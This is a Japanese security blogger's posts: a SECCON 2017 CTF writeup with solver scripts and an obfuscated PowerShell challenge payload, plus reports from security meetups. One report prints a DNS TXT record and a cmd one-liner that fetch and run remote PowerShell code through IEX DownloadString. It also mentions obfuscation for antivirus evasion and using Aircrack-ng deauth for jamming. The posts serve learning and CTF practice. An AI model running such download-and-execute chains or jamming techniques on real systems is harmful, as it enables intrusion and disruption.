ニュース

SECCON 2017 Writeup

kanata4日前に追加

CTF Writeup SECCON 2017

結果&感想

某チームでSECCON2017に参加しました。
4問解きました。全部100点だけどな!

チームの成績なんですが、もしかしたら国内決勝行けるかもという順位!
決勝行けたらめでたいね!!!

基本的に今回は

こまけぇこたぁいいんだよ

20171209_seccon2017_komaka.gif

解けりゃぁいいんだよ!ちゃんと実装しよ?めんどくせぇ買ってこいよゴロリ
というスタンスで解いていたため、はたして公開していいのかというクソコードっぷりを披露する事になります。

Log search (Web 100)

問題文はアクセス先のURLだけだったかな。。

これはなんで解けたのか、どういう趣旨だったか理解する前に解けてしまいました。

検索窓があるので、おもむろに flag と入力して検索

20171209_seccon2017_log_search.jpg

出てきたそれっぽいヤツにアクセスする。

フラグ取れた。

SECCON{N0SQL_1njection_for_Elasticsearch!}

Simon and Speck Block Ciphers (Crypto 100)

平文と暗号文、キーの一部が提供されています。

Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5 

Simon and Speck Block Ciphers という暗号方式を実装して、暗号キーを求めてねという問題。

さっそく問題文中で公開されている404.pdfを見てみると暗号方式を解説している論文のようでございました。
いかんせん英語でございましたので、3分ぐらいで見るのを止めた訳です。英語は無理だと。

きっと、実装してくださっている方がいるだろうとGithubなんかを検索したら出てきました。

bozhu/NSA-ciphers

NSA-ciphers - SIMON and SPECK the two lightweight block ciphers designed by the researchers from NSA

simon.py はテストコードがついてるので、それをコメントアウトして目的のソースコードを書き加えます。

simon.py

#!/usr/bin/env python

# ~中略~

    #for bsize, ksize, key, plain, cipher in test_vectors:
    #    my_simon = SIMON(bsize, ksize, key)
    #    encrypted = my_simon.encrypt(plain)
    #    assert encrypted == cipher
    #    for i in range(1000):
    #        encrypted = my_simon.encrypt(encrypted)
    #    for i in range(1000):
    #        encrypted = my_simon.decrypt(encrypted)
    #    decrypted = my_simon.decrypt(encrypted)
    #    assert decrypted == plain

    chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
    itr = permutations(chars,4)
    plain      = 0x6d564d37426e6e71
    encrypted  = 0xbb5d12ba422834b5
    key        = 0x00
    key_source = ""

    for i in itr:
      key_source="SECCON{"+"".join(map(str,i))+"}"
      answer=key_source
      key_source = "0x" + hex(ord(key_source[0]))[2:4]+hex(ord(key_source[1]))[2:4]+hex(ord(key_source[2]))[2:4]+hex(ord(key_source[3]))[2:4]+hex(ord(key_source[4]))[2:4]+hex(ord(key_source[5]))[2:4]+hex(ord(key_source[6]))[2:4]+hex(ord(key_source[7]))[2:4]+hex(ord(key_source[8]))[2:4]+hex(ord(key_source[9]))[2:4]+hex(ord(key_source[10]))[2:4]+hex(ord(key_source[11]))[2:4]
      key = long(key_source,16)
      c = SIMON(64, 96, key)
      if encrypted == c.encrypt(plain):
        print answer

    print 'All tests passed'

後はぶん回すだけなのですが、えらい時間がかかって、これはきっと競技時間中に終らないんじゃないかとも思いましたが、運良くフラグが出てくれました。

SECCON{6Pz0}

SHA-1 is dead (Crypto 100)

この条件のファイルを作る問題

  1. file1 != file2
  2. SHA1(file1) == SHA1(file2)
  3. SHA256(file1) <> SHA256(file2)
  4. 2017KiB < sizeof(file1) < 2018KiB
  5. 2017KiB < sizeof(file2) < 2018KiB

※1KiB = 1024 bytes

SHA1のハッシュ衝突が起こせるようになったのは有名な話題なので知ってはおりました。
知ってはおりましたが実装まではしたことがございません。
きっと誰かがPoCを公開してくださっているだろうと、調べるとすぐ出てきました。

73spica/sha1-collision

sha1-collision - Googleが発表したSHA-1衝突の原理で衝突PDFを生成するスクリプト

このツールは、こんな仕様

  • jpegを指定して、sha1ハッシュ値が同じpdfを作ってくれるツール
  • jpegのファイルフォーマットを壊さずにハッシュ衝突してくれる
  • それ故チェック処理が入っててフォーマットが壊れる場合は処理を中断する

いい感じのサイズのjpegを作るのが面倒だったため、ファイルの後ろに0x00を何byteかくっつけてサイズ調整しようと思った訳です。
するとチェックに引っかかるんですよね。困った。

なので、こうしました。

  • sha1ハッシュ衝突ツール(collision.py)のチェック処理をコメントアウト
  • jpegファイルのお尻に0x00を何Byteか加えてサイズを調節する
  • pdfのサイズが 2065408~2066432 Byte になるよう以下のシェルスクリプトを作って何度か試す
#!/bin/bash

dd if=/dev/zero of=zero_a bs=1024 count=$1
sleep 2
cat sample1.jpg zero_a >a.jpg
cat sample2.jpg zero_a >b.jpg

python collision.py a.jpg b.jpg

ls -lrt collision*

ファイルアップロードしてフラグ取得

SECCON{SHA-1_1995-2017?}

ちなみに、公開されているsha1ハッシュが同じpdfの後ろに0x00をくっつけてサイズ調整すればいいと気付いたのは競技終了後にwriteupを見た時

JPEG file (Binary 100)

あぁ、これ進研ゼミでやってたやつだ!…じゃなくて、昔のSECCONで出た問題に似てる!
と、すぐ思い出した訳です。そしてそのwriteupを パク参考にしようと思ったわけで、調べたら出てきました。

SECCON CTF 福岡大会の問題 - yasulib memo

SECCON CTFの筑波大会に出場させて頂けることになりました。 他チームは各所で活躍されている方々が参加されるということもあり、勝ちを狙うのは難しそうなので、チーム全員で楽しんで出場できたら良いなと思います :) 今回のCTFをきっかけにセキュリティ&プログラミングキャンプ2010に参加した友人たちと連絡を取り合うきっかけになりました。(キャンプのCTFで同じチームだった人もいます) @ITの記事 を見ていて、福岡大会でどんな問題が出ていたのか書いてあったので、解いてみました。 問:以下のファイルダンプは宇宙からの中性子線で1bitのデータが反転したものである。 0000000 1f 8b 08 08 27 2c 39 4f 02 03 7a 2e 74 78 74 00 0000020 ed da 4d 0e 83 20 10 86 e1 7d 93 de 61 d6 de ff 0000040 80 ee 9a 54 65 f8 66

origGz = open("tktk.jpeg", "rb").read()

byteSize = len(origGz)
bits = []
for i in range(0, 8):
  bits.append(2**i)

for byte in range(0, byteSize):
  for bit in bits:
    change = chr( ord(origGz[byte]) ^ bit )
    newGz = origGz[0:byte] + change + origGz[byte+1:]

    filename = "out/" + str(byte) + "_" + str(bit) + ".jpeg"
    f = open(filename, "wb")
    f.write(newGz)
    f.close()

1bitずつ反転させたファイルを作って、それを全て目で確認するという手段を取りました。

gzipなら、全ファイル展開を試してみるとか出来るんですが、jpegだとそうはいかない

よくよく考えなくても、全画像の枚数は 93024枚になる訳で、それを目視で確認しようとしてたあの時の私は少しおかしかったのかもしれません。

20171209_seccon2017_jpeg.jpg

Windowsのフォルダの表示を「特大」にして、こんなのを延々と確認しました。
途中で力尽きて他の方法を考える流れでしたが、割と早い段階で出てきました。

20171209_seccon2017_jpeg_623_16.jpeg

いま思うと、ファイルヘッダが壊れている可能性が高い訳で、必然的にファイルの前半が被疑箇所になりますね

Powerful_Shell (Binary 300)

難読化問題!?まかせろバリバリってやってたけど
私が解くよりも早くチームメイトのcatさんが光の速さで解いてくれました。
ほんまcatさんは神やでぇ

ちなみに私の第六感が囁くのだけれど、作問者は@Sh1n0g1さんだと思う。

以下、途中までやった結果

難読化の解除

最下行でデコード結果を実行しているように見えるため、その直前に以下の行を挿入してファイルへ出力

Write-Output $ECCON | Out-File -FilePath C:\Users\kanata\Desktop\20171209_SECCON\Binary_300_Powerful_Shell\dec.ps1

adminチェック処理がある

管理者権限じゃないとチェックアウトされる。Exitをコメントアウトっと

<# Host Check #>
Write-Host -b 00 -f 15 Checking Host... Please wait... -n
Try{
    If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) {
        Write-Host "This host is too fresh!"
        Exit
    }
}Catch{
    Write-Host "Failed: No admin rights!"
    #Exit
}
Write-Host "Check passed"

音が出る

20171209_seccon2017_powerful_shell.jpg

スゴイ…音が出るよ。ソースを見ると以下がある。

$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)

440ってあれですわ。周波数ですわ。440Hzで音叉の音(A:ラ)ですわ。
他の周波数も当てはめると以下になります。

$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
#音階     ラ  ラ  シ  ラ  ラ  シ  ラ  シ  ド  シ  ラ  シ  ラ  ファ
#押すキー h   h   j   h   h   j   h   j   k   j   h   j   h   f

「さくらさくら」ですね

この通り押すと処理が進み、また最下行でデコード結果を実行しているように見えるため、その直前に以下の行を挿入してファイルへ出力

Write-Output $ECCON | Out-File -FilePath C:\Users\kanata\Desktop\20171209_SECCON\Binary_300_Powerful_Shell\dec.ps1

数字の羅列を得る

デコード結果は数字の羅列だった。
ASCIIコードやろ?おっちゃんわかるで、これ

10
36
123
59
125
61
43
36

以下、延々と続く

以下のシェルスクリプトでデコードする

#!/bin/bash

for WORD in `cat dec.ps1`
do
  WORD=`echo $WORD|col -bx`
  echo "obase=16; ibase=10; $WORD" | bc|xxd -ps -r
done

結果

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

おぉ・・・もぅこれ完全にJavaScriptの難読化と同じだわ。。。スゴイわ。。。
catさん「解けました」
ワイ「アッハイ」

最近参加した勉強会 IoTSecJP と 元祖濱せっく#1

kanata9日前に追加

最近参加した勉強会

SECCONも控えており、書き留める時間が足りない。時間が欲しい。

IoTSecJP

IoTSecJP東京 (2017/11/23 18:00〜)

概要 東京でIoTSecJPのキックオフを行いたいと思います。 IoTセキュリティについて良いアウトプットをしていく場として、IoTSecJPというコミュニティを立ち上げました。 発表者への非難などは厳禁とし、前向きな方のご参加をお待ちしております。 一部公開NGな話に関しては、発表者の指示に従っていただきますようお願い申し上げます。 IoTSecJPのfacebookページ ...

IoTセキュリティについて良いアウトプットをしていく場
めっちゃ楽しかった。特に大人の健康器具の話。Bluetoothの認証ザルで01を送ると動く。00で止まる。

元祖 濱せっく #1

元祖 濱せっく #1 (2017/12/02 13:30〜)

濱せっくとは 横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は初の横濱開催です。 読み方:はませっく #### 対象者 セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。 なお、横濱にお住まいでなくても参加できます。 ## 開催日時 * 2017年12月2日(土) * 13:00開場 / 13:30開始 * 17:30~18:00 終了見込み * 18:00~ 飲食店に移動して懇親会 ## 会場 * 学校法人岩崎学園 情報科学専門学校 ...

登壇してお話させて頂く立場として参加
当日は朝から正装をキメる(ガイアが俺にもっと輝けと言っている)

以下2点を布教、もとい、お話させて頂きました。噛んだ。

  • 危険PowerShell芸はできるのか?
  • 難読化シェル芸の紹介と耐タンパー性の確保について

ご理解頂けたかどうか。

あと HamaCTFに問題出題させてもらった。解いてくれた問題、解いてくれなかった問題、
双方あったけど難易度的にはそこそこ適切だったのだろうと思う。よかった。

最後に懇親会に参加させて頂いた。
喋りすぎて喉が枯れつつも、オタクを発揮していっぱい喋ってしまった。
難読化のデコードについてとか、CTFの行く末とか、有識者と話せてとても楽しかった。
普段セキュリティの話は、あんまりできないので控えめに申し上げて最高だった。

また参加したいと思います。

AVTOKYO2017に行ってきました (1コメント)

kanata約1ヶ月前に追加

AVTOKYO JP

去年に引続き参加。変わらずのカオスw面白かった!

20171111_avtokyo.jpg

聞いていた中で面白かったものをいくつか紹介。
同時進行で半田付けでバッチ作成とかクイズ大会とかあるので、全てを網羅はできない。

プリンタの怖い話 〜意外と簡単に盗める〜

レーザープリンタと共に生活してきた方から、直接プリンタを触れる状況ならMITMで容易に印刷情報を盗めるんだという話を聞きました。
プリンタも管理者以外、設定変更やファクトリーリセットできないようになる日が近いかもしれない。

君達の暗号化されたコンピュータは、全て我々がいただいた。

PCのメモリって、電源切った直後なら消えずに残ってるんだよ、という話。
後は書いていいか解らないから、自粛する。

薄いハイパーバイザを利用した高効率なリモートデバッグ

るくす先生の難しい話。Kernel開発がより楽になるかも。マルウェア調査でも「QEMUに穴開けて横から覗いてる」なんて話を聞いたことがあるので、応用が聞くかもしれない。

CSIRT設立は難しい?いや、それは孔明の罠だ…

CISRTという言葉に踊らされている現状へのアンチテーゼを…なんというかもぅ…すごいエモく語って下さいました。
私の理解を簡単に書くと

  • 何かが起こった時、それを受け付ける窓口が会社には必ずあるハズ。
  • それはもう、CSIRTと言って良い(だからコンサルに高いお金を払うのは意味がない)
  • その人達を育成すればよいんだ。
  • 今頑張ってる人たちは、経営層にアピール必要か(今まで対処できているから、何も起きていない。会社に対応組織(能力)が無いわけではない)

アメイジングツールマン – ツールを修得して21世紀のハッキング可能なスイスアーミーナイフのフレームワークを提案する

よく使われるツールを紹介頂いた。最近は雨後の筍のごとくツールが増殖しているので、もぅ多すぎて追いかけらんない。。
そして、それらの機能を統合したlulumiというツールを開発中だとか。期待してます。

Tool names explain
Recon-ng Pythonで書かれたOSINT用のツール Qiita - Recon-ngの使い方
FOFA shodanのような検索エンジン
Tqlmap Code and Server-Side Template Injection Detection and Exploitation Tool
XSS'OR(XSSOR2) Hack with JavaScript.online
CyberChef Base64エンコード/デコードや16進数変換など、開発作業を行っている際必要となるさまざまな処理を一つに纏めたWebアプリケーション
BeEF BeEF is short for The Browser Exploitation Framework.
Firefox plugin explain
HackBar Testing sql injections, XSS holes and site security.
Live HTTP Headers HTTPリクエストのヘッダ部分を見る。
Modify Headers HTTPヘッダの書き換え
cookies manager+ cookieの書き換え。古いかも。

サイバー攻撃観測記録 〜彼の名はヨセフ〜

NICTが開発したSTARDUSTというスーパーすごいハニーポットの運用記録をご紹介頂きました。

ちゃんと動くトロイって意外に無いもんなんですね。


SEQCONというクイズ大会にも出たがやぎゅはしゅさんという筋肉に負けた。筋肉には勝てない。人権が無かった。

相変わらずのカオスでしたが、Twitterでは知ってるけど会ったこと無い方に出会えたりして良かった。
できればまた来年も参加したい。

技術書典3に行ってキマシタワー

kanata約1ヶ月前に追加

技術書典3

技術書典3

どんどん規模が大きくなる技術書の同人誌販売イベント。

コミケは行ったことがないのだけれど、技術書典だけは3回目。なぜかこのイベントはだいたい雨。ですが整理券を配ってくださったおかげで、雨風に晒されることはありませんでした。

前回と比べ、Deep learningとかAI関係が増えている印象だけれど、全体としてはカバーするジャンル自体が広がっている気がします。ロボット、IOT、ラズパイ、ROS、フロントエンド、JavascriptでASTとか…どれも面白そうだわ。。

20171022_techbookfest3.jpg

俗に薄い本というけど、この内容で500円とかありえん良さ味が深い。内容的には鬼厚い。
いまから読むのが楽しみです。

以下を買いました。読むのが楽しみ。

TomoriNao

技術書典3:TomoriNao 詳細

世界的なセキュリティのコンテストで活躍した経験を活かし、バイナリ解析やWeb脆弱性診断などの情報セキュリティ技術を中心とした技術同人誌

前回のSECCON決勝出てた友利奈緒が書いた本。買った。すぐ買った。一見、マジもんの薄い本に見えますが、私が知りたい技術情報がドンピシャで詰まってる素晴らしい本!

ググっても出て来にくいセキュリティ技術

技術書典3:ニッチ・セキュリティ 詳細

セキュリティ

電子書籍(PDF)で販売されておりました。買った。すぐ買った。ググっても出てこない情報、超貴重。

そう言えばオライリーさん

確認しなかったけど、100万円で全部入り売ってたのかな?

ちょっと気になったので、定点観測。

前回の時点(2017.4.9)だど、467書籍あって、合計160万4880円でした。

$ curl -s  http://www.oreilly.co.jp/catalog/index.html|grep price|wc -l
467
$ curl -s  http://www.oreilly.co.jp/catalog/index.html|grep price|cut -d'>' -f9|cut -d' ' -f1|tr -d ',th<'|tr '\n' '+'|sed -e 's/$/0/g'|cut -c2-|bc
1604880

今(2017.10.22時点)だと、489書籍あって、合計168万48円ですね。増えてる!

$ curl -s  https://www.oreilly.co.jp/catalog/index.html|grep price|wc -l
489
$ curl -s  https://www.oreilly.co.jp/catalog/index.html|grep price|cut -d'>' -f9|cut -d' ' -f1|tr -d ',th<'|tr '\n' '+'|sed -e 's/$/0/g'|cut -c2-|bc 
1680048

ちなみに昔のシェル芸が通らなくて、アレ?ってなったけどhttpからhttpsにリダイレクトされるようになってた!オライリーさんもhttps対応したんですなー。

ODCssmjpシェル芸katagaitaiCTF勉強会 に参加させて頂きました!

kanata4ヶ月前に追加

なぜか8月下旬は色々な勉強会が集中しておりました。
欲張って行きたいの全部行った。死んだ。人は許容量を超える情報量を一度に受け取ると死ぬ。

OpenDevelopersConference 2017 Tokyo (2017/8/19-20)

オープンデベロッパーズカンファレンス2017 Tokyo - 開発者の「今」を伝える

オープンソースの最新動向に関する展示・セミナーイベント。参加無料。

アレです。セミナーがめっちゃ面白いです。これはセミナー聞きに行くべき。

  • パパ鰻師さんだったんだよぉ

    タイトルからして面白いけど、寝不足はいけないという事が解りすぎて面白い

  • GitHubスター日次ランキング一位になった脆弱性スキャナVulsの開発の裏側

    神戸さんがファンキーすぎて面白い(マンガみたいな人生歩んできておられる)

  • NetBSDのご紹介

    知らないCPUアーキテクチャが当たり前のように出てきて面白い

最後に抽選で本を頂きました!

ssmjp 祝ssmjp100回記念 (2017/8/25)

2017年08月の#ssmjp 祝ssmjp100回記念~100回目の延長戦~まとめ

ssmjp なう

101回目だそうですが、私は初めて参加させて頂きました。

  • AV Tokyoで登壇してた abend さんが登壇してた。やべぇこの人面白いwwwというか、ssmjp面白いwww
  • イカログの人も登壇されてた。当時、スゲーなコレ、、と思ってたけど、やっぱりやってる事がスゴかった。

意外にセキュリティクラスタの人が多いらしく、自分の趣味にぴったんこ合致するんだけど、いかんせん平日開催なので、なかなか行けない・・・

jus共催 第30回危念シェル芸勉強会 (2017/8/26)

jus共催 第30回危念シェル芸勉強会の報告

昨日、2017年8月26日、さくらインターネットさんのセミナールームにて第30回のシェル芸勉強会を開催しました。 共催の日本Unixユーザ会さん、さくらインターネットさん、横田さん、宮川さん、常連さん、初参加の方々、参加されたUSP研究所のお二方、ありがとうございました。 そして、午前の講師の鳥海さん。昼食に行くときに置き去りにして、さらに昼食後も置き去りにし、マルエツで買い物袋を運ばせ、大変失礼いたしました。

上記にまとめられております。毎回めっちゃ勉強になります。
自分は、解けてるふりしてるだけで7割方解けてません。まだまだ勉強不足・・・

ちなみにLTしました。

この勉強会と同日に江戸前セキュリティ勉強会をやっていて、凌さんが講義されていたようです。

以下、Twitterから状況がなんとなく解ります。

そして、同日、私のLTがコレです。

っべー・・・ っべーわ・・・
ベクトルが真逆の形になったわ

katagaitai CTF勉強会 #9 - 関東|easy (2017/8/27)

katagaitai CTF勉強会 #9 - 関東|easy : ATND

h2. 概要 * チームkatagaitaiの実施する, "CTF"に関する勉強会です.過去問...

場所は安定の秋葉原UDX!受講者が無限に入る。

午前の部 bataさん

圧倒的な情報量と、気の遠くなるような解答までの手順・・・普通にやっても数人月単位の仕事量な気がするけど、ガチ勢は数時間でやっちゃうんですね。。。
意味は解ったけど、まったく解ける気はしない。世界の壁の高さ、ヤバイ。

午後の部 やぎはしゅさん

ひさしぶりにXSSしました!楽しかったです!
XSSしてcookie(フラグ)の飛ばし先をこのサーバにして、アクセスログを眺めてました。

ランキングはギリギリ残るぐらいの微妙順位だった。ガチ勢ヤバイ。

自分が昔メモしてたXSSチートシートはリンク切れになってたり、古かったりして、あまり役に立たなかった。
フロントエンドの流れはやっぱり早くて、XSSの知識もすぐ古くなるっぽい。
深いHTML5の知識+深いJavaScriptの知識+過去事例+ひらめき が、必要っぽい。奥が深い。

ダントツトップのhfukudaさんのwriteupが大変参考になります。

ちなみに、CTFでのXSS問題は、これまで技術的な課題が多くてなかなか理想的な形で実現できなかった歴史がありますが、
今回の「サーバサイドでHeadless Chromeが動く」というやり方が、かなりいい感じで動いていました!!
今後のCTFのWeb問は大変革が起こるかも!


ハッカー飴頂きました!今回は黒い!!(3000個単位で発注したのかな?)

濱⛵せっく 出張版 #3 に参加させて頂きました

kanata4ヶ月前に追加

普段は仕事の都合により平日の勉強会は、ほぼ出れないんですが、運良く休みにできたので「濱⛵せっく」に参加させて頂きました!

  • 濱⛵せっく とは
横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。
今回は3度目の出張版です。

ちなみに第2回の記事は→ 濱⛵せっく 出張版 #2 に参加させて頂きました

濱せっく 出張版 #3 (2017/08/02 19:00〜)

濱せっくとは 横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は3度目の出張版です。 読み方:はませっく #### 対象者 セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。 なお、横濱にお住まいでなくても参加できます。 ## 開催日時 * 2017年8月2日(火) * 18:30開場 / 19:00開始 * 21:00~21:30 終了見込み * 22:00 完全撤収 (それまでは参加者同士や講師陣とお話ししてて大丈夫です) ## 会場 ...

以下、感想

PowerShell版ShinoBOT @Sh1n0g1

ShinoBOTの@Sh1n0g1さんですよ!!
奥さんとDEFCON行ってたそうです。いいな私も死ぬまでに行きたい。

さてさて、お話の内容はPowerShell版ShinoBOTです。これが素晴らしいクオリティで。
普通にターミナルとして使えるんじゃないかしらw

https://shinobotps1.com/

ShinoBOT.ps1

null

特筆すべきは、これですよ・・・

DNSのTXTレコードにPowerShellのコードを仕込む

エビスさんのコメント

どういう事かと申しますと

$ dig  @8.8.8.8 shinobotps1.com txt

; <<>> DiG 9.9.4-RedHat-9.9.4-29.el7_2.4 <<>> @8.8.8.8 shinobotps1.com txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52266
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;shinobotps1.com.               IN      TXT

;; ANSWER SECTION:
shinobotps1.com.        3599    IN      TXT     "powershell IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php')\;"

;; Query time: 272 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: 木  8月 03 21:28:31 JST 2017
;; MSG SIZE  rcvd: 158

なんとDNSのTXTレコードに、PoweShellのコードをダウンロードして実行する手続きが設定されているんですよ…!
Windowsなら、以下で確認できます。

>nslookup -querytype=TXT shinobotps1.com
サーバー:  UnKnown
Address:  xxx.xx.xxx.x

権限のない回答:
shinobotps1.com text =

        "powershell IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');"

shinobotps1.com nameserver = ns1.domain.com
shinobotps1.com nameserver = ns2.domain.com
ns2.domain.com  internet address = 65.254.254.171
ns1.domain.com  internet address = 66.96.142.147

つまり、対象のPCに対して

for /F “usebackq tokens=*” %i in (`”nslookup -querytype=TXT shinobotps1.com”`) do cmd /c %i

を実行できればPowerShellのコードが動いちゃうんですね。
フルサービスリゾルバ(DNS権威サーバ)を自前で用意しないと実現できないですが、なんかDNSサーバ欲しくなりますねw

PowerShellコードの難読化

しかも、ダウンロードの度に動的にコードが変わる。ウィルス対策ソフトに検知されにくくする対策です。
高度…!

これ↓リロードする度に内容が変わる。

https://shinobotps1.com/download_get.php

あの日学んだ攻撃の方法を僕たちはまだ知らない @01ra66it

Twitterでよくお見かけしておりましたが、生@01ra66itさんを目撃

Aircrack-ngで、任意のAPを通信不能にする方法を照会して頂きました。
悪意のあるAPを黙らせるのに効果的ですね!

手続きの詳細は省略しますが、Aircrack-ngの一般的な使い方の応用なのでググればすぐ出てくるでしょう。

Aircrack-ngは、

  1. パケット収集
  2. パケット解析
  3. 解析結果からパスワードを発見

てな感じで通常実行するんですが、APと通信している端末が無いと「1.パケット収集」時にパケットの収集が捗らない場合があります。
そんな時に、Aircrack-ngでは、バッサリ切断する(たぶん、データリンク層レベルで)パケットを出すことが出来て、その際の再接続のパケットを収集するという技があります。

これを短い間隔で連続で繰り出せば、通信できなくなっちゃいますねw
ジャミングとして使うという発想がなかっただけに、目からウロコでございました。

ちなみに、USBのWifiアンテナを使って、それをVMwareのKaliLinux上のAircrack-ngで動かす方法は以下になりますよ(昔調べてた)

Aircrack-ngを使うためにVMwareのKaliLinuxでUSBトングルのWifiを使う

リークドコード的何か 0xH@jic

これ、、めっちゃ濃い情報で面白かったです!
私は、以下を読んでたので、コレと@0xH@jicさんの話がリンクして大変興奮しました。

読んでみるのオススメ!世界レベルでのサイバー戦争の闇が、ちょっとだけ垣間見れます。

THE ZERO/ONE

暴露されたCIAの諜報能力「Vault 7」の衝撃度(前編)
https://the01.jp/p0004740/

暴露されたCIAの諜報能力「Vault 7」の衝撃度(中編)
https://the01.jp/p0004753/

暴露されたCIAの諜報能力「Vault 7」の衝撃度(後編)
https://the01.jp/p0004767/

Wanna Cryに攻撃手法を提供した「Shadow Brokers」とは何者か?
https://the01.jp/p0005012/

再び世界を襲ったNSAのエクスプロイト
https://the01.jp/p0005312/

身代金を「本気で要求していない」身代金ウイルス
https://the01.jp/p0005325/

もはやランサムウェアとは呼べない「NotPetya(Petya)」の恐怖 (3) 3000万円で復号キー売ります
https://the01.jp/p0005338/

LT

「書籍を執筆した話」 @takahoyo

生takahoyoさん、略して生ほよさんがいた。
セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-はもう買ってた。セキュリティコンテストのためのCTF問題集も買います~

「QEMUの脆弱性と宣伝」 @hama7230

赤いサンタの帽子のTwitterの人を生で見た。略して生(以下略
Tokyo WesternsというCTFガチ勢を目の当たりにしてジョバった。

なんか今回はガチ勢が集結しているっぽい。

QEMUには浪漫があって、浪漫の先にゲストOSを突破してホストOSに到達できる。

あと、Tokyo Westerns CTF というのがあってですね。

やりたみがある。

「8/24(木) Security-JAWS、9/1(金) NW X Security-JAWSやります」@Typhon666_death

8月下旬は、何故かいろんなイベントが重なっていてツライ。どれか選ばなければ・・・

「8/26(土)MINI hardening に遊びにおいでよ!」 @delphinz

hardeningは経験ないけど面白そう。

本当は怖いXML @icchyr

XMLは、なかなか闇が深そうな匂いを感じた。
今度詳しく知りたいと思いました~。

難読化(node.js)シェル芸のメモ

kanata5ヶ月前に追加

JavaScriptワンライナー難読化の例(他にも沢山ある!!)

長すぎてシェル芸bot氏にお渡しできないのが大変残念

jjencode

http://utf-8.jp/public/jjencode.html

